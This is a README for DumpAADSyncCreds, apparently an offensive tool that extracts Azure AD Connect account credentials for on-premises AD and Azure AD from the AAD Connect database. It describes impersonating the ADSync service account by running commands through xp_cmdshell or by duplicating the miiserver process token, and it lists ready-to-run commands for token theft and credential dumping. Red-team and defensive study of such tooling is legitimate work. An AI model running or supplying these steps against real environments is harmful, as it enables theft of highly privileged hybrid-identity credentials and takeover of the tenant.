DumpAADSyncCreds is C# implementation of Get-AADIntSyncCredentials from AADInternals, which extracts Azure AD Connect credentials to AD and Azure AD from AAD connect database.
In late 2019, a change on key storage was deployed such that only ADSync service account could access the key to decrypt configuration file from database.
DumpAADSyncCreds provides two ways to impersonate as ADSync service account:
- execute command via xp_cmdshell by Adam Chester
- copy token from miiserver process via DuplicateToken API call by AADInternals
cmd> set PATH=%PATH%;C:\Program Files\Microsoft Azure AD Sync\Bin;
cmd> .\DumpAADSyncCreds.exe print_help

Example:
set PATH=%PATH%;C:\Program Files\Microsoft Azure AD Sync\Bin;
DumpAADSyncCreds.exe get_token
Options:
Dump AAD connect account credential in current context:
DumpAADSyncCreds.exe [raw_output]
Copy token of ADSync service account and dump AAD connect account credential:
DumpAADSyncCreds.exe get_token [raw_output]
Execute command as ADSync service account via xp_cmdshell:
DumpAADSyncCreds.exe xp_cmd "\"C:\Program Files\Microsoft Azure AD Sync\Bin\DumpAADSyncCreds.exe\""
Print status of ADSync service:
DumpAADSyncCreds.exe check_serviceDuplicate token of ADSync service account
cmd> .\DumpAADSyncCreds.exe get_token
